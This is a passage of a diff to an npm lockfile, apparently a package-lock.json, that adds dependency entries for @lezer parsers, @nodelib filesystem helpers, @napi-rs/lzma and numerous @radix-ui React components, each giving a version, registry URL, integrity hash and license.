"license": "MIT" + }, + "node_modules/@jridgewell/trace-mapping": { + "version": "0.3.31", + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.31.tgz", + "integrity": "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw==", + "license": "MIT", + "dependencies": { + "@jridgewell/resolve-uri": "^3.1.0", + "@jridgewell/sourcemap-codec": "^1.4.14" + } + }, + "node_modules/@lezer/common": { + "version": "1.5.2", + "resolved": "https://registry.npmjs.org/@lezer/common/-/common-1.5.2.tgz", + "integrity": "sha512-sxQE460fPZyU3sdc8lafxiPwJHBzZRy/udNFynGQky1SePYBdhkBl1kOagA9uT3pxR8K09bOrmTUqA9wb/PjSQ==", + "license": "MIT" + }, + "node_modules/@lezer/css": { + "version": "1.3.4", + "resolved": "https://registry.npmjs.org/@lezer/css/-/css-1.3.4.tgz", + "integrity": "sha512-N+tn9tej2hPvyKgHEApMOQfHczDJCwxrRFS3SPn9QjYN+uwHvEDnCgKRrb3mxDYxRS8sKMM8fhC3+lc04Abz5Q==", + "license": "MIT", + "dependencies": { + "@lezer/common": "^1.2.0", + "@lezer/highlight": "^1.0.0", + "@lezer/lr": "^1.3.0" + } + }, + "node_modules/@lezer/highlight": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/@lezer/highlight/-/highlight-1.2.3.tgz", + "integrity": "sha512-qXdH7UqTvGfdVBINrgKhDsVTJTxactNNxLk7+UMwZhU13lMHaOBlJe9Vqp907ya56Y3+ed2tlqzys7jDkTmW0g==", + "license": "MIT", + "dependencies": { + "@lezer/common": "^1.3.0" + } + }, + "node_modules/@lezer/html": { + "version": "1.3.13", + "resolved": "https://registry.npmjs.org/@lezer/html/-/html-1.3.13.tgz", + "integrity": "sha512-oI7n6NJml729m7pjm9lvLvmXbdoMoi2f+1pwSDJkl9d68zGr7a9Btz8NdHTGQZtW2DA25ybeuv/SyDb9D5tseg==", + "license": "MIT", + "dependencies": { + "@lezer/common": "^1.2.0", + "@lezer/highlight": "^1.0.0", + "@lezer/lr": "^1.0.0" + } + }, + "node_modules/@lezer/javascript": { + "version": "1.5.4", + "resolved": "https://registry.npmjs.org/@lezer/javascript/-/javascript-1.5.4.tgz", + "integrity": "sha512-vvYx3MhWqeZtGPwDStM2dwgljd5smolYD2lR2UyFcHfxbBQebqx8yjmFmxtJ/E6nN6u1D9srOiVWm3Rb4tmcUA==", + "license": "MIT", + "dependencies": { + "@lezer/common": "^1.2.0", + "@lezer/highlight": "^1.1.3", + "@lezer/lr": "^1.3.0" + } + }, + "node_modules/@lezer/lr": { + "version": "1.4.10", + "resolved": "https://registry.npmjs.org/@lezer/lr/-/lr-1.4.10.tgz", + "integrity": "sha512-rnCpTIBafOx4mRp43xOxDJbFipJm/c0cia/V5TiGlhmMa+wsSdoGmUN3w5Bqrks/09Q/D4tNAmWaT8p6NRi77A==", + "license": "MIT", + "dependencies": { + "@lezer/common": "^1.0.0" + } + }, + "node_modules/@marijn/find-cluster-break": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/@marijn/find-cluster-break/-/find-cluster-break-1.0.3.tgz", + "integrity": "sha512-FY+MKLBoTsLNJF/eLWaOsXGdz6uh3Iu1axjPf6TUq92IYumcTcXWHoS747JARLkcdlJ/Waiaxc5wQfFO8jC6NA==", + "license": "MIT" + }, + "node_modules/@napi-rs/lzma-linux-x64-gnu": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/@napi-rs/lzma-linux-x64-gnu/-/lzma-linux-x64-gnu-1.5.1.tgz", + "integrity": "sha512-oTXEIha4SsuXdTA4Iyskj0kpdx2yVXdhd75c2v3xGrHFfVMsbhTPZU/nMPL4sWKo4pBHm3aucLaqGlF696dTyQ==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^22.20 || ^24.12 || >=25" + } + }, + "node_modules/@nodelib/fs.scandir": { + "version": "2.1.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz", + "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@nodelib/fs.stat": "2.0.5", + "run-parallel": "^1.1.9" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nodelib/fs.stat": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz", + "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nodelib/fs.walk": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz", + "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@nodelib/fs.scandir": "2.1.5", + "fastq": "^1.6.0" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@radix-ui/number": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@radix-ui/number/-/number-1.1.0.tgz", + "integrity": "sha512-V3gRzhVNU1ldS5XhAPTom1fOIo4ccrjjJgmE+LI2h/WaFpHmx0MQApT+KZHnx8abG6Avtfcz4WoEciMnpFT3HQ==", + "license": "MIT" + }, + "node_modules/@radix-ui/primitive": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@radix-ui/primitive/-/primitive-1.1.1.tgz", + "integrity": "sha512-SJ31y+Q/zAyShtXJc8x83i9TYdbAfHZ++tUZnvjJJqFjzsdUnKsxPL6IEtBlxKkU7yzer//GQtZSV4GbldL3YA==", + "license": "MIT" + }, + "node_modules/@radix-ui/react-arrow": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@radix-ui/react-arrow/-/react-arrow-1.1.2.tgz", + "integrity": "sha512-G+KcpzXHq24iH0uGG/pF8LyzpFJYGD4RfLjCIBfGdSLXvjLHST31RUiRVrupIBMvIppMgSzQ6l66iAxl03tdlg==", + "license": "MIT", + "dependencies": { + "@radix-ui/react-primitive": "2.0.2" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-avatar": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@radix-ui/react-avatar/-/react-avatar-1.1.3.tgz", + "integrity": "sha512-Paen00T4P8L8gd9bNsRMw7Cbaz85oxiv+hzomsRZgFm2byltPFDtfcoqlWJ8GyZlIBWgLssJlzLCnKU0G0302g==", + "license": "MIT", + "dependencies": { + "@radix-ui/react-context": "1.1.1", + "@radix-ui/react-primitive": "2.0.2", + "@radix-ui/react-use-callback-ref": "1.1.0", + "@radix-ui/react-use-layout-effect": "1.1.0" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-checkbox": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/@radix-ui/react-checkbox/-/react-checkbox-1.1.4.tgz", + "integrity": "sha512-wP0CPAHq+P5I4INKe3hJrIa1WoNqqrejzW+zoU0rOvo1b9gDEJJFl2rYfO1PYJUQCc2H1WZxIJmyv9BS8i5fLw==", + "license": "MIT", + "dependencies": { + "@radix-ui/primitive": "1.1.1", + "@radix-ui/react-compose-refs": "1.1.1", + "@radix-ui/react-context": "1.1.1", + "@radix-ui/react-presence": "1.1.2", + "@radix-ui/react-primitive": "2.0.2", + "@radix-ui/react-use-controllable-state": "1.1.0", + "@radix-ui/react-use-previous": "1.1.0", + "@radix-ui/react-use-size": "1.1.0" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-collapsible": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@radix-ui/react-collapsible/-/react-collapsible-1.1.3.tgz", + "integrity": "sha512-jFSerheto1X03MUC0g6R7LedNW9EEGWdg9W1+MlpkMLwGkgkbUXLPBH/KIuWKXUoeYRVY11llqbTBDzuLg7qrw==", + "license": "MIT", + "dependencies": { + "@radix-ui/primitive": "1.1.1", + "@radix-ui/react-compose-refs": "1.1.1", + "@radix-ui/react-context": "1.1.1", + "@radix-ui/react-id": "1.1.0", + "@radix-ui/react-presence": "1.1.2", + "@radix-ui/react-primitive": "2.0.2", + "@radix-ui/react-use-controllable-state": "1.1.0", + "@radix-ui/react-use-layout-effect": "1.1.0" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-collection": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@radix-ui/react-collection/-/react-collection-1.1.2.tgz", + "integrity": "sha512-9z54IEKRxIa9VityapoEYMuByaG42iSy1ZXlY2KcuLSEtq8x4987/N6m15ppoMffgZX72gER2uHe1D9Y6Unlcw==", + "license": "MIT", + "dependencies": { + "@radix-ui/react-compose-refs": "1.1.1", + "@radix-ui/react-context": "1.1.1", + "@radix-ui/react-primitive": "2.0.2", + "@radix-ui/react-slot": "1.1.2" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-compose-refs": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@radix-ui/react-compose-refs/-/react-compose-refs-1.1.1.tgz", + "integrity": "sha512-Y9VzoRDSJtgFMUCoiZBDVo084VQ5hfpXxVE+NgkdNsjiDBByiImMZKKhxMwCbdHvhlENG6a833CbFkOQvTricw==", + "license": "MIT", + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-context": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@radix-ui/react-context/-/react-context-1.1.1.tgz", + "integrity": "sha512-UASk9zi+crv9WteK/NU4PLvOoL3OuE6BWVKNF6hPRBtYBDXQ2u5iu3O59zUlJiTVvkyuycnqrztsHVJwcK9K+Q==", + "license": "MIT", + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-dialog": { + "version": "1.1.6", + "resolved": "https://registry.npmjs.org/@radix-ui/react-dialog/-/react-dialog-1.1.6.tgz", + "integrity": "sha512-/IVhJV5AceX620DUJ4uYVMymzsipdKBzo3edo+omeskCKGm9FRHM0ebIdbPnlQVJqyuHbuBltQUOG2mOTq2IYw==", + "license": "MIT", + "dependencies": { + "@radix-ui/primitive": "1.1.1", + "@radix-ui/react-compose-refs": "1.1.1", + "@radix-ui/react-context": "1.1.1", + "@radix-ui/react-dismissable-layer": "1.1.5", + "@radix-ui/react-focus-guards": "1.1.1", + "@radix-ui/react-focus-scope": "1.1.2", + "@radix-ui/react-id": "1.1.0", + "@radix-ui/react-portal": "1.1.4", + "@radix-ui/react-presence": "1.1.2", + "@radix-ui/react-primitive": "2.0.2", + "@radix-ui/react-slot": "1.1.2", + "@radix-ui/react-use-controllable-state": "1.1.0", + "aria-hidden": "^1.2.4", + "react-remove-scroll": "^2.6.3" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-direction": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@radix-ui/react-direction/-/react-direction-1.1.0.tgz", + "integrity": "sha512-BUuBvgThEiAXh2DWu93XsT+a3aWrGqolGlqqw5VU1kG7p/ZH2cuDlM1sRLNnY3QcBS69UIz2mcKhMxDsdewhjg==", + "license": "MIT", + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-dismissable-layer": { + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/@radix-ui/react-dismissable-layer/-/react-dismissable-layer-1.1.5.tgz", + "integrity": "sha512-E4TywXY6UsXNRhFrECa5HAvE5/4BFcGyfTyK36gP+pAW1ed7UTK4vKwdr53gAJYwqbfCWC6ATvJa3J3R/9+Qrg==", + "license": "MIT", + "dependencies": { + "@radix-ui/primitive": "1.1.1", + "@radix-ui/react-compose-refs": "1.1.1", + "@radix-ui/react-primitive": "2.0.2", + "@radix-ui/react-use-callback-ref": "1.1.0", + "@radix-ui/react-use-escape-keydown": "1.1.0" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-dropdown-menu": { + "version": "2.1.6", + "resolved": "https://registry.npmjs.org/@radix-ui/react-dropdown-menu/-/react-dropdown-menu-2.1.6.tgz", + "integrity": "sha512-no3X7V5fD487wab/ZYSHXq3H37u4NVeLDKI/Ks724X/eEFSSEFYZxWgsIlr1UBeEyDaM29HM5x9p1Nv8DuTYPA==", + "license": "MIT", + "dependencies": { + "@radix-ui/primitive": "1.1.1", + "@radix-ui/react-compose-refs": "1.1.1", + "@radix-ui/react-context": "1.1.1", + "@radix-ui/react-id": "1.1.0", + "@radix-ui/react-menu": "2.1.6", + "@radix-ui/react-primitive": "2.0.2", + "@radix-ui/react-use-controllable-state": "1.1.0" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-focus-guards": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@radix-ui/react-focus-guards/-/react-focus-guards-1.1.1.tgz", + "integrity": "sha512-pSIwfrT1a6sIoDASCSpFwOasEwKTZWDw/iBdtnqKO7v6FeOzYJ7U53cPzYFVR3geGGXgVHaH+CdngrrAzqUGxg==", + "license": "MIT", + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-focus-scope": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@radix-ui/react-focus-scope/-/react-focus-scope-1.1.2.tgz", + "integrity": "sha512-zxwE80FCU7lcXUGWkdt6XpTTCKPitG1XKOwViTxHVKIJhZl9MvIl2dVHeZENCWD9+EdWv05wlaEkRXUykU27RA==", + "license": "MIT", + "dependencies": { + "@radix-ui/react-compose-refs": "1.1.1", + "@radix-ui/react-primitive": "2.0.2", + "@radix-ui/react-use-callback-ref": "1.1.0" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-id": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@radix-ui/react-id/-/react-id-1.1.0.tgz", + "integrity": "sha512-EJUrI8yYh7WOjNOqpoJaf1jlFIH2LvtgAl+YcFqNCa+4hj64ZXmPkAKOFs/ukjz3byN6bdb/AVUqHkI8/uWWMA==", + "license": "MIT", + "dependencies": { + "@radix-ui/react-use-layout-effect": "1.1.0" + }, + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-label": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/@radix-ui/react-label/-/react-label-2.1.2.tgz", + "integrity": "sha512-zo1uGMTaNlHehDyFQcDZXRJhUPDuukcnHz0/jnrup0JA6qL+AFpAnty+7VKa9esuU5xTblAZzTGYJKSKaBxBhw==", + "license": "MIT", + "dependencies": { + "@radix-ui/react-primitive": "2.0.2" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-menu": { + "version": "2.1.6", + "resolved": "https://registry.npmjs.org/@radix-ui/react-menu/-/react-menu-2.1.6.tgz", + "integrity": "sha512-tBBb5CXDJW3t2mo9WlO7r6GTmWV0F0uzHZVFmlRmYpiSK1CDU5IKojP1pm7oknpBOrFZx/YgBRW9oorPO2S/Lg==", + "license": "MIT", + "dependencies": { + "@radix-ui/primitive": "1.1.1", + "@radix-ui/react-collection": "1.1.2", + "@radix-ui/react-compose-refs": "1.1.1", + "@radix-ui/react-context": "1.1.1", + "@radix-ui/react-direction": "1.1.0", + "@radix-ui/react-dismissable-layer": "1.1.5", + "@radix-ui/react-focus-guards": "1.1.1", + "@radix-ui/react-focus-scope": "1.1.2", + "@radix-ui/react-id": "1.1.0", + "@radix-ui/react-popper": "1.2.2", + "@radix-ui/react-portal": "1.1.4", + "@radix-ui/react-presence": "1.1.2", + "@radix-ui/react-primitive": "2.0.2", + "@radix-ui/react-roving-focus": "1.1.2", + "@radix-ui/react-slot": "1.1.2", + "@radix-ui/react-use-callback-ref": "1.1.0", + "aria-hidden": "^1.2.4", + "react-remove-scroll": "^2.6.3" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-navigation-menu": { + "version": "1.2.5", + "resolved": "https://registry.npmjs.org/@radix-ui/react-navigation-menu/-/react-navigation-menu-1.2.5.tgz", + "integrity": "sha512-myMHHQUZ3ZLTi8W381/Vu43Ia0NqakkQZ2vzynMmTUtQQ9kNkjzhOwkZC9TAM5R07OZUVIQyHC06f/9JZJpvvA==", + "license": "MIT", + "dependencies": { + "@radix-ui/primitive": "1.1.1", + "@radix-ui/react-collection": "1.1.2", + "@radix-ui/react-compose-refs": "1.1.1", + "@radix-ui/react-context": "1.1.1", + "@radix-ui/react-direction": "1.1.0", + "@radix-ui/react-dismissable-layer": "1.1.5", + "@radix-ui/react-id": "1.1.0", + "@radix-ui/react-presence": "1.1.2", + "@radix-ui/react-primitive": "2.0.2", + "@radix-ui/react-use-callback-ref": "1.1.0", + "@radix-ui/react-use-controllable-state": "1.1.0", + "@radix-ui/react-use-layout-effect": "1.1.0", + "@radix-ui/react-use-previous": "1.1.0", + "@radix-ui/react-visually-hidden": "1.1.2" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-popper": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/@radix-ui/react-popper/-/react-popper-1.2.2.tgz", + "integrity": "sha512-Rvqc3nOpwseCyj/rgjlJDYAgyfw7OC1tTkKn2ivhaMGcYt8FSBlahHOZak2i3QwkRXUXgGgzeEe2RuqeEHuHgA==", + "license": "MIT", + "dependencies": { + "@floating-ui/react-dom": "^2.0.0", + "@radix-ui/react-arrow": "1.1.2", + "@radix-ui/react-compose-refs": "1.1.1", + "@radix-ui/react-context": "1.1.1", + "@radix-ui/react-primitive": "2.0.2", + "@radix-ui/react-use-callback-ref": "1.1.0", + "@radix-ui/react-use-layout-effect": "1.1.0", + "@radix-ui/react-use-rect": "1.1.0", + "@radix-ui/react-use-size": "1.1.0", + "@radix-ui/rect": "1.1.0" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-portal": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/@radix-ui/react-portal/-/react-portal-1.1.4.tgz", + "integrity": "sha512-sn2O9k1rPFYVyKd5LAJfo96JlSGVFpa1fS6UuBJfrZadudiw5tAmru+n1x7aMRQ84qDM71Zh1+SzK5QwU0tJfA==", + "license": "MIT", + "dependencies": { + "@radix-ui/react-primitive": "2.0.2", + "@radix-ui/react-use-layout-effect": "1.1.0" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-presence": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@radix-ui/react-presence/-/react-presence-1.1.2.tgz", + "integrity": "sha512-18TFr80t5EVgL9x1SwF/YGtfG+l0BS0PRAlCWBDoBEiDQjeKgnNZRVJp/oVBl24sr3Gbfwc/Qpj4OcWTQMsAEg==", + "license": "MIT", + "dependencies": { + "@radix-ui/react-compose-refs": "1.1.1", + "@radix-ui/react-use-layout-effect": "1.1.0" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-primitive": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/@radix-ui/react-primitive/-/react-primitive-2.0.2.tgz", + "integrity": "sha512-Ec/0d38EIuvDF+GZjcMU/Ze6MxntVJYO/fRlCPhCaVUyPY9WTalHJw54tp9sXeJo3tlShWpy41vQRgLRGOuz+w==", + "license": "MIT", + "dependencies": { + "@radix-ui/react-slot": "1.1.2" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-roving-focus": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@radix-ui/react-roving-focus/-/react-roving-focus-1.1.2.tgz", + "integrity": "sha512-zgMQWkNO169GtGqRvYrzb0Zf8NhMHS2DuEB/TiEmVnpr5OqPU3i8lfbxaAmC2J/KYuIQxyoQQ6DxepyXp61/xw==", + "license": "MIT", + "dependencies": { + "@radix-ui/primitive": "1.1.1", + "@radix-ui/react-collection": "1.1.2", + "@radix-ui/react-compose-refs": "1.1.1", + "@radix-ui/react-context": "1.1.1", + "@radix-ui/react-direction": "1.1.0", + "@radix-ui/react-id": "1.1.0", + "@radix-ui/react-primitive": "2.0.2", + "@radix-ui/react-use-callback-ref": "1.1.0", + "@radix-ui/react-use-controllable-state": "1.1.0" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-select": { + "version": "2.1.6", + "resolved": "https://registry.npmjs.org/@radix-ui/react-select/-/react-select-2.1.6.tgz", + "integrity": "sha512-T6ajELxRvTuAMWH0YmRJ1qez+x4/7Nq7QIx7zJ0VK3qaEWdnWpNbEDnmWldG1zBDwqrLy5aLMUWcoGirVj5kMg==", + "license": "MIT", + "dependencies": { + "@radix-ui/number": "1.1.0", + "@radix-ui/primitive": "1.1.1", + "@radix-ui/react-collection": "1.1.2", + "@radix-ui/react-compose-refs": "1.1.1", + "@radix-ui/react-context": "1.1.1", + "@radix-ui/react-direction": "1.1.0", + "@radix-ui/react-dismissable-layer": "1.1.5", + "@radix-ui/react-focus-guards": "1.1.1", + "@radix-ui/react-focus-scope": "1.1.2", + "@radix-ui/react-id": "1.1.0", + "@radix-ui/react-popper": "1.2.2", + "@radix-ui/react-portal": "1.1.4", + "@radix-ui/react-primitive": "2.0.2", + "@radix-ui/react-slot": "1.1.2", + "@radix-ui/react-use-callback-ref": "1.1.0", + "@radix-ui/react-use-controllable-state": "1.1.0", + "@radix-ui/react-use-layout-effect": "1.1.0", + "@radix-ui/react-use-previous": "1.1.0", + "@radix-ui/react-visually-hidden": "1.1.2", + "aria-hidden": "^1.2.4", + "react-remove-scroll": "^2.6.3" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-separator": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@radix-ui/react-separator/-/react-separator-1.1.2.tgz", + "integrity": "sha512-oZfHcaAp2Y6KFBX6I5P1u7CQoy4lheCGiYj+pGFrHy8E/VNRb5E39TkTr3JrV520csPBTZjkuKFdEsjS5EUNKQ==", + "license": "MIT", + "dependencies": { + "@radix-ui/react-primitive": "2.0.2" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-slot": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@radix-ui/react-slot/-/react-slot-1.1.2.tgz", + "integrity": "sha512-YAKxaiGsSQJ38VzKH86/BPRC4rh+b1Jpa+JneA5LRE7skmLPNAyeG8kPJj/oo4STLvlrs8vkf/iYyc3A5stYCQ==", + "license": "MIT", + "dependencies": { + "@radix-ui/react-compose-refs": "1.1.1" + }, + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || 